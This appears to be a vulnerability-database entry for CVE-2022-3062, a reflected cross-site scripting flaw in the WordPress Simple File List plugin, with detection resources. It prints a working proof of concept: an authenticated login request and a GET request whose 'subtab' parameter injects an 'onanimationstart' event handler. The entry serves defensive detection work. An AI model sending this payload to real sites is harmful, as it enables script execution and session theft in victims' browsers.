🔙 목록으로 돌아가기

CVE-2022-3062: Simple File List < 4.4.12 - Cross Site Scripting

TitleSimple File List < 4.4.12 - Cross Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationFixed in version 4.4.12
CVSS Score6.1
EPSS Score0.48658
CVE IDCVE-2022-3062
CWE IDCWE-79
Tags cve cve2022 authenticated wordpress wp-plugin wp wpscan xss simple-file-list simplefilelist vuln

🔍 Vulnerability Description

The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=ROHOBG&pwd=EJtNZ3&wp-submit=Log+In
GET /wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3062.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-3062.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A